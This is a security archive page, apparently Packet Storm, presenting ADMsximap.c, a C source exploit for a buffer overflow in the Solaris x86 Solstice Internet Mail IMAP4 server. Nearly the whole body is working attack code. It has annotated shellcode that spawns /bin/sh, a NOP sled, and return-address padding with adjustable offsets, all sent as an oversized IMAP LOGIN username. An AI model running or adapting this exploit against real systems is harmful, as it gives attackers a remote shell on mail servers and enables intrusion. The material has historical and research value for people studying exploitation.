exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ADMsximap.c

ADMsximap.c
Posted Jan 27, 2000
Authored by ADM, Shane A. Macaulay

Solaris Solstice Internet Mail IMAP4 Server x86 exploit.

tags | exploit, x86
systems | solaris
SHA-256 | adcc570a64ad515dee55499942b44fc76607894ebc9c473d4d7a8654c863de59

ADMsximap.c

Change Mirror Download
/*      Copyright (c) 2000 ADM                                  */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: ADMsximap.c (ADM Solaris X86 IMAP .c) */
/* Tested under: SIMS 2.0, fixed now */
/* By: K2 */
/* Discoverd by: DiGiT */
/* Shellcode by: cheez */
/* GROUP EFFORT*@$()!*$#(&@!*(!$ */
/* */


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
/* 0 */ "\xeb\x2d" /* jmp springboard */
/* start: */
/* 2 */ "\x5e" /* popl %esi */
/* 3 */ "\x31\xdb" /* xor %ebx,%ebx */
/* 5 */ "\x88\x5e\x07" /* movb %bl,0x7(%esi) */
/* 8 */ "\x89\x5e\x0c" /* movl %ebx,0xc(%esi) */
/* 11 */ "\x89\x5e\x13" /* movl %ebx,0x13(%esi) */
/* 14 */ "\x88\x5e\x18" /* movb %bl,0x18(%esi) */
/* 17 */ "\xb3\x80" /* movb $0x80,%bl */
/* 19 */ "\x28\x5e\xed" /* subb %bl,-0x13(%esi) */
/* 22 */ "\x28\x5e\xf1" /* subb %bl,-0xf(%esi) */
/* 25 */ "\x28\x5e\xf7" /* subb %bl,-0x9(%esi) */
/* 28 */ "\x28\x5e\xf8" /* subb %bl,-0x8(%esi) */
/* 31 */ "\x31\xc0" /* xor %eax,%eax */
/* 33 */ "\xd0" /* pushl %eax */
/* 34 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 37 */ "\xd3" /* pushl %ebx */
/* 38 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 40 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 43 */ "\xd3" /* pushl %ebx */
/* 44 */ "\xd0" /* pushl %eax */
/* 45 */ "\xeb\x15" /* jmp exec */
/* springboard: */
/* 47 */ "\xe8\xce\xff\xff\xff" /* call start */
/* data: */
/* 52 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 60 */ "\xff\xff\xff\xff" /* DATA */
/* 64 */ "\xff\xff\xff\xff" /* DATA */
/* execve: */
/* 68 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 70 */ "\x9a\xff\xff\xff\xff\x07\xff"; /* lcall 0x7,0x0 */


#define SIZE 1600
#define NOPDEF 631
#define DEFOFF -111

const char x86_nop=0x90;
long nop=NOPDEF,esp=0x80472a0;
long offset=DEFOFF;
char buffer[SIZE];

int main (int argc, char *argv[])
{
int i;

if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);

memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = (nop+strlen(shell)); i < SIZE; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}

fprintf(stderr,"offset = 0x%x\tstrlen %d\n",esp+offset,strlen(buffer));
printf("604 LOGIN \"%s\" pass\r\n", buffer);

return 0;
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close